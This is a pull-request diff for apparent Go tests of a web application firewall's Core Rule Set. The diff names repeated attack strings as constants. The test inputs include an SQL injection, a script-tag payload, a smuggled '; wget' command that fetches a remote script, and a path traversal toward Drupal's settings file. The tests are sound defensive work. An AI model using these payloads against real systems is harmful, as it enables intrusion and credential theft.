Core Rule Set tests: name repeated attack strings (closes #263) #264
No files matched your search
@@ -1357,6 +1357,9 @@ const (
|
|||||||
// injection is an SQL injection, which rule 942100 matches.
|
// injection is an SQL injection, which rule 942100 matches.
|
||||||
const injection = "1' OR '1'='1"
|
const injection = "1' OR '1'='1"
|
||||||
|
|
||||||
|
// scriptTag is a script injection, not escaped.
|
||||||
|
const scriptTag = "<script>alert(1)</script>"
|
||||||
|
|
||||||
// readingBodies returns the Core Rule Set as sww runs it by
|
// readingBodies returns the Core Rule Set as sww runs it by
|
||||||
// default, but reading bodies up to bodyLimit.
|
// default, but reading bodies up to bodyLimit.
|
||||||
func readingBodies(t *testing.T) *coreruleset.CoreRuleSet {
|
func readingBodies(t *testing.T) *coreruleset.CoreRuleSet {
|
||||||
|
|||||||
@@ -131,8 +131,8 @@ func TestDrupalAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
for _, attack := range []string{
|
for _, attack := range []string{
|
||||||
`1' OR '1'='1`,
|
injection,
|
||||||
`<script>alert(1)</script>`,
|
scriptTag,
|
||||||
} {
|
} {
|
||||||
for _, field := range []string{
|
for _, field := range []string{
|
||||||
`"title":"` + attack + `"`,
|
`"title":"` + attack + `"`,
|
||||||
@@ -178,8 +178,8 @@ func TestDrupalAttacksAreRefusedInTheJSONPasswordReset(t *testing.T) {
|
|||||||
crs := readingBodies(t)
|
crs := readingBodies(t)
|
||||||
|
|
||||||
for _, attack := range []string{
|
for _, attack := range []string{
|
||||||
`1' OR '1'='1`,
|
injection,
|
||||||
`<script>alert(1)</script>`,
|
scriptTag,
|
||||||
`; wget http://example.com/x.sh`,
|
`; wget http://example.com/x.sh`,
|
||||||
`../../sites/default/settings.php`,
|
`../../sites/default/settings.php`,
|
||||||
} {
|
} {
|
||||||
|
|||||||
@@ -204,8 +204,8 @@ func TestMediaWikiAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
for _, attack := range []string{
|
for _, attack := range []string{
|
||||||
`1' OR '1'='1`,
|
injection,
|
||||||
`<script>alert(1)</script>`,
|
scriptTag,
|
||||||
} {
|
} {
|
||||||
for _, field := range []string{"source", "comment"} {
|
for _, field := range []string{"source", "comment"} {
|
||||||
r := request{http.MethodPut, mediawikiRESTPage, []string{jsonBody}}
|
r := request{http.MethodPut, mediawikiRESTPage, []string{jsonBody}}
|
||||||
|
|||||||
Reference in new issue
Block a user